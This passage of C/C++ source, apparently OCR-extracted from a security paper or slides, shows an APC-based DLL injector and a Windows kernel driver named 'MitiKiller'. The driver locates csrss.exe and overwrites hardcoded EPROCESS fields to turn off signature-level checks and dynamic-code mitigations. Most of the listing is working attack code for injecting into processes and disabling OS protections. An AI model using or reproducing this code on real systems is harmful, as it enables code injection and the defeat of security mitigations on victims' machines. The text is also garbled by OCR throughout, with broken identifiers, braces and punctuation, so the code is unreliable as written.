std::cout << "AudiTMicrosoftSignedOnly : " << pmbsp.AuditMicrosoftSignedOnly <<
std:iendl;

std::cout << "AuditStoreSignedOnly : " << pmbsp.AuditStoreSignedOnly << std::endl:

std::cout << "MicrosoftSignedOnly : " << pmbsp.MicrosoftSignedOnly << std::endl:
std::cout << "MitigationOptln : " << pmbsp.MitigationOptIn << std::endl;
std::cout << "StoreSignedOnly : " << pmbsp.StoreSignedOnly << std::endl;

temp = (MyLoadLibrary)GetProcAddress(GetModuleHandleA("kernel32.d11"),

"LoadLibraryA");

std::cout << " LoadLibrary : " << temp << std::endl;

buffer = VirtualAllocEx(hTarget, NULL, strlen(argv(2])+1, MEM_RESERVE |

MEM_COMMIT, PAGE_READWRITE);

if (IWriteProcessMemory(hTarget, buffer, argv[2], strlen(argv[2]) + 1, NULL)) {
ERROR_MACRO("WriteProcessMemory"):

t

std:icout << "end?" << std:iendl;

templ = (MyRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll.d1l"),
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"RtlCreateUserThread");
std::cout << "RtlCreateUserThread Address: " << templ << std::endl:

HANDLE hTool;
THREADENTRY32 te;

hTool = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);

te.dwSize = sizeof(THREADENTRY32);

Thread32First(thTool, &te);

do {

if (te.th320wnerProcessID == GetProcessld(hTarget)) {

std:icout << "[STATUS] Found Thread : " << te.th320wnerProcessID <<
std::endl:
CLIENT_ID cid;
OBJECT_ATTRIBUTES ObjectAttributes:
cid.UniqueProcess = (HANDLE)te.th320wnerProcessID;
cid.UniqueThread = (HANDLE)te.th32ThreadID:
std:icout << "[STATUS] cid.UniqueProcess : " << cid.UniqueProcess << std::endl;
std:icout << "[STATUS] cid.UniqueTHread : " << cid.UniqueThread << std::endl;
InitializeObjectAttributes(&ObjectAttributes, NULL, NULL, NULL, NULL);
std::cout << "[STATUS] Found Thread " << std::endl:
hThread = OpenThread(GENERIC_ALL, 0, (DWORD)cid.UniqueThread);
std::cout << "hThread : " << hThread << std::endl;

if (hThread) {
std::cout << "Thread Opend!" << std::endl:
SuspendThread(hThread):
auto ret = NtQueueApcThread(hThread,
(PIO_APC_ROUTINE)temp, buffer, NULL, NULL):
printf_s("Ret 0x%p\nError 0x%p\n", ret, GetLastError()):
DWORD retl = QueueUserAPC((PAPCFUNC)temp, hThread, (ULONG_PTR)buffer):
printf_s("Ret 0x%p\nError 0x%p\n", retl, GetLastError()):
ResumeThread(hThread):
CloseHandle(hThread):
t
t
} while (Thread32Next(hTool, &te));
std::cout << "NtQueueApcThread ended..
std::cout << "end?" << std:iendl:

<< std:iendl;

return 0;

Miti Killer

<MitiKiller.n>
#pragma once
#include <ntddk.h>
#include <wdm.h>
#include <ntifs.h>
#include <tchar.h>

#pragma comment (lib, "ntoskrnl.lib")
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typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorinformation,
SystemPerformancelnformation,
SystemTimeOfDaylnformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDevicelnformation,
SystemProcessorPerformancelnformation,
SystemFlagsinformation,
SystemCallTimelnformation,
SystemModuleInformation,
SystemlLocksInformation,
SystemStackTracelnformation,
SystemPagedPoollnformation,
SystemNonPagedPoolInformation,
SystemHandlelnformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmlInstemullnformation,
SystemVdmBopInformation,
SystemFileCachelnformation, for WorkingSetTypeSystemCache)
SystemPoolTaglnformation,
SystemlInterruptinformation,
SystemDpcBehaviorIinformation, requires SeLoadDriverPrivilege)
SystemFullMemoryInformation,
Systeml.oadGdiDriverInformation,
SystemUnloadGdiDriverinformation,
SystemTimeAdjustmentInformation, SYSTEM_SET_TIME_ADJUST_INFORMATION
(requires SeSystemtimePrivilege)
SystemSummaryMemorylnformation,
SystemMirrorMemorylnformation, SeShutdownPrivilege)
SystemPerformanceTracelnformation,
SystemObsolete0,
SystemExceptionInformation,
SystemCrashDumpStatelnformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotalnformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemVerifierAddDriverInformation,
SystemVerifierRemoveDriverInformation,
SystemProcessorldleInformation,
SystemlegacyDriverInformation,
SystemCurrentTimeZonelnformation,
SystemlLookasideInformation,
SystemTimeSlipNotification,
SystemSessionCreate,
SystemSessionDetach,
SystemSessionInformation,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemVerifierThunkExtend,
SystemSessionProcessinformation,
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SystemloadGdiDriverInSystemSpace,
SystemNumaProcessorMap,

SystemPrefetcherInformation, PfSnQueryPrefetcherInformation
SystemExtendedProcessInformation,
SystemRecommendedSharedDataAlignment,
SystemComPlusPackage,

SystemNumaAvailableMemory,
SystemProcessorPowerInformation,
SystemEmulationBasicInformation,
SystemEmulationProcessorinformation,
SystemExtendedHandlelnformation,
SystemLostDelayedWriteInformation,

SystemBigPoollnformation,

SystemSessionPoolTagInformation,
SystemSessionMappedViewInformation,
SystemHotpatchInformation,

SystemObjectSecurityMode,

SystemWatchdogTimerHandler,
SystemWatchdogTimerInformation,
SystemlLogicalProcessorInformation,
SystemWow64SharedInformationObsolete,
SystemRegisterFirmwareTableInformationHandler,
SystemFirmwareTableInformation,

SystemModulelnformationEx,

SystemVerifierTriageInformation,

SystemSuperfetchInformation,

SystemMemoryListInformation, SeProfileSingleProcessPrivilege)
SystemFileCachelnformationEx, as SystemFileCachelnformation)
SystemThreadPriorityClientldInformation, SelncreaseBasePriorityPrivilege)
SystemProcessorldleCycleTimelnformation,
SystemVerifierCancellationInformation,
name:wowb64:whNT32QuerySystemVerifierCancellationInformation
SystemProcessorPowerInformationEx,
SystemRefTracelnformation,

SystemSpecialPoollnformation, MmSpecialPoolCatchOverruns != 0
SystemProcessldinformation,

SystemErrorPortInformation,
SystemBootEnvironmentInformation,
SystemHypervisorInformation,

SystemVerifierInformationEx,

SystemTimeZonelnformation,
SystemImageFileExecutionOptionsinformation, SeTcbPrivilege)
SystemCoveragelnformation,

SystemPrefetchPatchInformation,
SystemVerifierFaultsInformation,
SystemSystemPartitionInformation,
SystemSystemDiskInformation,
SystemProcessorPerformanceDistribution,
SystemNumaProximityNodelnformation,
SystemDynamicTimeZonelnformation,
SystemCodelntegrityInformation,
SystemProcessorMicrocodeUpdatelnformation,
SystemProcessorBrandString,

SystemVirtualAddressInformation, requires SelncreaseQuotaPrivilege)
SystemLogicalProcessorAndGrouplnformation, KeQueryLogicalProcessorRelationship
SystemProcessorCycleTimelnformation,
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SystemStorelnformation,
SystemRegistryAppendString,
SystemAitSamplingValue,
SystemVhdBootInformation,
SystemCpuQuotalnformation,
SystemNativeBasicInformation,

SystemSparel,

SystemLowPriorityloInformation,
SystemTpmBootEntropylnformation,
SystemVerifierCountersInformation,
SystemPagedPoollnformationEx, for WorkingSetTypePagedPool)
SystemSystemPtesInformationEx, info for WorkingSetTypeSystemPtes)
SystemNodeDistancelnformation,
SystemAcpiAuditinformation, HalpAuditQueryResults, info class 26
SystemBasicPerformancelnformation,
name:wowb4:whNtQuerySystemInformation_SystemBasicPerformancelnformation
SystemQueryPerformanceCounterInformation,
SystemSessionBigPoollnformation,
SystemBootGraphicsInformation,
SystemScrubPhysicalMemorylnformation,
SystemBadPagelnformation,
SystemProcessorProfileControlArea,
SystemCombinePhysicalMemorylnformation, MEMORY_COMBINE_INFORMATION_EX2
SystemEntropylnterruptTimingCallback,
SystemConsolelnformation,
SystemPlatformBinarylnformation,
SystemThrottleNotificationInformation,
SystemHypervisorProcessorCountinformation,
SystemDeviceDatalnformation,
SystemDeviceDataEnumerationInformation,
SystemMemoryTopologylnformation,
SystemMemoryChannellnformation,
SystemBootLogolnformation,
SystemProcessorPerformancelnformationEx,
SystemSpare0,
SystemSecureBootPolicylnformation,
SystemPageFileInformationEx,
SystemSecureBootInformation,
SystemEntropylnterruptTimingRawInformation,
SystemPortableWorkspaceEfiLauncherInformation,
SystemFullProcessinformation, requires admin)
SystemKernelDebuggerInformationEx,
SystemBootMetadatalnformation,
SystemSoftRebootInformation,
SystemElamCertificateInformation,
SystemOfflineDumpConfigInformation,
SystemProcessorFeaturesinformation,
SystemRegistryReconciliationInformation,
SystemEdidInformation,
SystemManufacturingInformation,
SystemEnergyEstimationConfigInformation,
SystemHypervisorDetaillnformation,
SystemProcessorCycleStatsinformation,
SystemVmGenerationCountInformation,
SystemTrustedPlatformModulelnformation,
SystemKernelDebuggerFlags,
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SystemCodelntegrityPolicylnformation,
SystemlsolatedUserModelnformation,
SystemHardwareSecurity TestInterfaceResultsInformation,
SystemSingleModulelnformation,
SystemAllowedCpuSetsInformation,
SystemVsmProtectionlnformation, SystemDmaProtectionlnformation)
SystemInterruptCpuSetsinformation,
SystemSecureBootPolicyFulllnformation,
SystemCodelntegrityPolicyFullinformation,
SystemAffinitizedInterruptProcessorinformation,
SystemRootSiloInformation,
SystemCpuSetinformation,
SystemCpuSetTagInformation,
SystemWin32WerStartCallout,
SystemSecureKernelProfileInformation,
}ISYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS:
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize:
ULONG HardFaultCount;
ULONG NumberOfThreadsHighWatermark;
ULONGLONG CycleTime;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime:
UNICODE_STRING ImageName:
LONG BasePriority:
PVOID UniqueProcessld;
PVOID InheritedFromUniqueProcessid;
ULONG HandleCount;
ULONG Sessionld;
ULONG_PTR UniqueProcessKey:
ULONG_PTR PeakVirtualSize;
ULONG_PTR VirtualSize:
ULONG PageFaultCount:
ULONG_PTR PeakWorkingSetSize;
ULONG_PTR WorkingSetSize:
ULONG_PTR QuotaPeakPagedPoolUsage;
ULONG_PTR QuotaPagedPoolUsage;
ULONG_PTR QuotaPeakNonPagedPoolUsage:;
ULONG_PTR QuotaNonPagedPoolUsage:
ULONG_PTR PagefileUsage;
ULONG_PTR PeakPagefileUsage:
ULONG_PTR PrivatePageCount;
LARGE_INTEGER ReadOperationCount:
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount:
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
}ISYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION:
typedef struct _EPROCESS_FLAGS
{
unsigned int CreateReported : 1;
unsigned int NoDebuglnherit : 1;
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unsigned int ProcessExiting : 1;
unsigned int ProcessDelete : 1:
unsigned int ControlFlowGuardEnabled : 1;
unsigned int VmDeleted : 1;
unsigned int OutswapEnabled : 1.
unsigned int Outswapped : 1;
unsigned int FailFastOnCommitFail : 1;
unsigned int Wow64VaSpace4Gb : 1.
unsigned int AddressSpacelnitialized : 2:
unsigned int SetTimerResolution : 1:
unsigned int BreakOnTermination : 1;
unsigned int DeprioritizeViews : 1;
unsigned int WriteWatch : 1;
unsigned int ProcessinSession : 1:
unsigned int OverrideAddressSpace : 1;
unsigned int HasAddressSpace : 1;
unsigned int LaunchPrefetched : 1:
unsigned int Background : 1;
unsigned int VmTopDown : 1;
unsigned int ImageNotifyDone : 1;
unsigned int PdeUpdateNeeded : 1.
unsigned int VdmAllowed : 1;
unsigned int ProcessRundown : 1;
unsigned int Processinserted : 1;
unsigned int DefaultloPriority : 3;
unsigned int ProcessSelfDelete : 1;
unsigned int SetTimerResolutionLink : 1:

JEPROCESS_FLAGS, *PEPROCESS_FLAGS:

typedef struct _EPROCESS_FLAGS2

{
unsigned int JobNotReallyActive : 1;
unsigned int AccountingFolded : 1;
unsigned int NewProcessReported : 1;
unsigned int ExitProcessReported : 1;
unsigned int ReportCommitChanges : 1;
unsigned int LastReportMemory : 1;
unsigned int ForceWakeCharge : 1;
unsigned int CrossSessionCreate : 1;
unsigned int NeedsHandleRundown : 1;
unsigned int RefTraceEnabled : 1.
unsigned int DisableDynamicCode : 1:
unsigned int EmptyJobEvaluated : 1;
unsigned int DefaultPagePriority : 3;
unsigned int PrimaryTokenFrozen : 1.
unsigned int ProcessVerifierTarget : 1:
unsigned int StackRandomizationDisabled : 1;
unsigned int AffinityPermanent : 1;
unsigned int AffinityUpdateEnable : 1;
unsigned int PropagateNode : 1;
unsigned int ExplicitAffinity : 1;
unsigned int ProcessExecutionState : 2:
unsigned int DisallowStrippedimages : 1:
unsigned int HighEntropyASLREnabled : 1;
unsigned int ExtensionPointDisable : 1:
unsigned int ForceRelocatelmages : 1:
unsigned int ProcessStateChangeRequest : 2;

—

—
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unsigned int ProcessStateChangelnProgress : 1;
unsigned int DisallowWin32kSystemCalls : 1;

} EPROCESS_FLAGS2, *PEPROCESS_FLAGS2:

typedef struct _EPROCESS_FLAGS3

{
unsigned int Minimal : 1;
unsigned int ReplacingPageRoot : 1;
unsigned int DisableNonSystemFonts : 1:
unsigned int AuditNonSystemFontLoading : 1;
unsigned int Crashed : 1;
unsigned int JobVadsAreTracked : 1;
unsigned int VadTrackingDisabled : 1;
unsigned int AuxiliaryProcess : 1;
unsigned int SubsystemProcess : 1;
unsigned int IndirectCpuSets : 1;
unsigned int InPrivate : 1;
unsigned int ProhibitRemotelmageMap : 1;
unsigned int ProhibitLowlLImageMap : 1;
unsigned int SignatureMitigationOptln : 1;

} EPROCESS_FLAGS3, *PEPROCESS_FLAGSS3:

typedef NTSTATUS (*MyZwQuerySystemInformation)

(_LIn_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Out_ PVOID SystemInformation,

_In_ ULONG SystemInformationLength,

_Out_ ULONG =*ReturnLength);

NTSTATUS create_dispatch(PDEVICE_OBJECT DeviceObject, PIRP irp):
NTSTATUS device_control_dispatch(PDEVICE_OBJECT DeviceObject, PIRP irp):

<MitiKiller.c>
#include "MitiKiller.h"

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING

RegistryPath)

{
UNICODE_STRING SymbolicLinkName, DeviceName;
PDEVICE_OBJECT DeviceObject;

NTSTATUS Status;

UNREFERENCED_PARAMETER(RegistryPath);

RtlInitUnicodeString(&SymbolicLinkName, L"\\??\\MitiLinker");
RtllnitUnicodeString(&DeviceName, L"\\Device\\MitiDevice");

Status = IoCreateDevice(DriverObject,
0,
&DeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
0,
&DeviceObject);
if (Status) {
DbgPrint("loCreateDevice failed.. Reason : %d\n", Status):
return Status;

}
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Status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
if (Status) {
DbgPrint("loCreateDevice failed.. Reason : %d\n", Status);
return Status:
t
DriverObject->MajorFunction[IRP_MJ_CREATE] = create_dispatch:
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = device_control_dispatch;

return STATUS_SUCCESS;
}

NTSTATUS create_dispatch(PDEVICE_OBJECT DeviceObject, PIRP irp) {
NTSTATUS Status = STATUS_SUCCESS:
MyZwQuerySystemInformation fpZwQuerySystemInformation;
PSYSTEM_PROCESS_INFORMATION pspi:

UNICODE_STRING NameOfFunction, TargetName;
ULONG ReturnLength = 0;

PVOID SizeFinder = NULL64;

PVOID TargetPID = 0;

PEPROCESS TargetEPROCESS:;
PEPROCESS_FLAGS TargetFlags:
PEPROCESS_FLAGS?2 TargetFlags2;
PEPROCESS_FLAGS3 TargetFlags3:

char checker = 0;

UNREFERENCED_PARAMETER(irp);
UNREFERENCED_PARAMETER(DeviceObject);

RtlInitUnicodeString(&NameOfFunction, L"ZwQuerySystemInformation");
RtlInitUnicodeString(&TargetName, L'csrss.exe");
DbgPrint("[DBG] CreateDispatch called :D \n");

fpZwQuerySystemInformation = (MyZwQuerySystemInformation)
MmGetSystemRoutineAddress(&NameOfFunction):
DbgPrint("[DBG] fpZwQuerySystemInformation = %I164X :D\n",
fpZwQuerySystemInformation):
do {

if (checker) {

ExFreePool(SizeFinder):

t

checker = 1;

SizeFinder = ExAllocatePool(NonPagedPool, ReturnLength):
} while (fpZwQuerySystemInformation(SystemProcessinformation, SizeFinder,
ReturnLength, &ReturnLength));
DbgPrint("[DBG| ReturnLength : %d :D\n", ReturnLength);
pspi = (PSYSTEM_PROCESS_INFORMATION)SizeFinder:

while (pspi->NextEntryOffset) {
if (IRtlICompareUnicodeString(&(pspi->ImageName), &TargetName, TRUE))
{
if ((pspi->Sessionld) == 1) {
TargetPID = pspi->UniqueProcessld;
DbgPrint("[DBG] Got cha! :D\n");
break:
t
t
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}

pspi = (PSYSTEM_PROCESS_INFORMATION)((char*)pspi + pspi->NextEntryOffset):

if (ITargetPID) DbgPrint("[DBG] Meh -_- Can't find target prcoess.. work harder

:D\n");

}

PsLookupProcessByProcessIld((HANDLE)TargetPID, &TargetEPROCESS);

*(UCHAR*)((UCHAR*)TargetEPROCESS + 0x6b0) = SE_SIGNING_LEVEL_UNCHECKED:
*(UCHAR*)((UCHAR*)TargetEPROCESS + 0x6bl) = SE_SIGNING_LEVEL_UNCHECKED:

*(UCHAR*)((UCHAR %) TargetEPROCESS + 0x6b2) = 0;

TargetFlags = (EPROCESS_FLAGS#*)((UCHAR*)(TargetEPROCESS)+0x304);
TargetFlags?2 = (EPROCESS_FLAGS2#)((UCHAR*)(TargetEPROCESS)+0x300):
TargetFlags3 = (EPROCESS_FLAGS3*)((UCHAR*)(TargetEPROCESS)+0x6b4);
TargetFlags2->DisableDynamicCode = 0;
TargetFlags3->SignatureMitigationOptln = O;

ExFreePool(SizeFinder):

return Status;

NTSTATUS device_control_dispatch(PDEVICE_OBJECT DeviceObject, PIRP irp) {

NTSTATUS Status = STATUS_SUCCESS:
UNREFERENCED_PARAMETER(DeviceObject):
UNREFERENCED_PARAMETER(irp):

return Status;
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